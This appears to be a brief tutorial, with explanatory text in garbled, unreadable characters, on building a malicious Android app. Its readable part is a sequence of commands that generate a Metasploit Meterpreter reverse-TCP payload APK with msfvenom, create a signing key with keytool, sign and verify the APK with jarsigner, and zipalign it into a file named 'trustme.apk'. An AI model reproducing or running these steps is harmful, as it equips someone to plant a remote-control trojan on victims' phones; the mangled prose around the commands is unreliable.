αααααΌαααΆα
- ziplign
- jarsigner
- keytool
ααααΎααααΆαα Metasploit ααΎααααΈαααααΎα Android Payload
msfvenom --platform android -p android/meterpreter/reverse_tcp lhost=192.168.13.X lport=4444 R -o pload.apk
αααα Sign α―αααΆα APK - αααααΎα Keystore
keytool -genkey -V -keystore key.keystore -alias Android -keyalg RSA -keysize 2048 -validity 10000
// αααα
αΌααααααααΆαααααα RSA αα·αααααααΆαα²ααααΆαααααΉαααααΌα
αααα Sign α―αααΆα APK - Sign Payload
sudo apt-get install openjdk-21-jdk-headless
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore pload.apk Android
// αααα
αΌααααααααΆαααααα RSA α²ααααΆαααααΉαααααΌα
αααα Sign α―αααΆα APK - Verify Payload
jarsigner -verify -verbose -certs pload.apk
αααα Sign α―αααΆα APK - Verify payload into new file
zipalign -v 4 pload.apk trustme.apk
α₯α‘αΌααααα’αααααα½αααΆα Android Payload ααααααααααα½ααααααααΆ trustme.apk α